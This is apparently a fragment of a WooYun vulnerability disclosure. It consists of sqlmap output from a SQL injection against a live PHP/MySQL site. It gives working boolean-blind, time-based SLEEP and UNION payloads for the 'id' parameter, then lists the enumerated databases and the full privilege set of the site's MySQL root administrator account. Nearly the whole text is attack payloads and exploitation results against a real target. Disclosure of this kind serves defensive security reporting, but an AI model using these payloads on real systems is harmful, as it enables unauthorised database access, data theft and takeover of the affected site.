WooYun.org

......
    Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 4379=4379 AND 'kGkg'='kGkg
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=1' AND (SELECT * FROM (SELECT(SLEEP(5)))XZJm) AND 'msPp'='msPp
    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: id=-8771' UNION ALL SELECT NULL,NULL,CONCAT(0x717a626271,0x4f5a44754758434b7263,0x716b767071),NULL,NULL-- 
---
web application technology: PHP 5.4.23
back-end DBMS: MySQL 5.0.12
available databases [5]:
[*] information_schema
[*] kjw
[*] kjwen
[*] mysql
[*] performance_schema

......
database management system users privileges:
[*] 'root'@'localhost' (administrator) [28]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE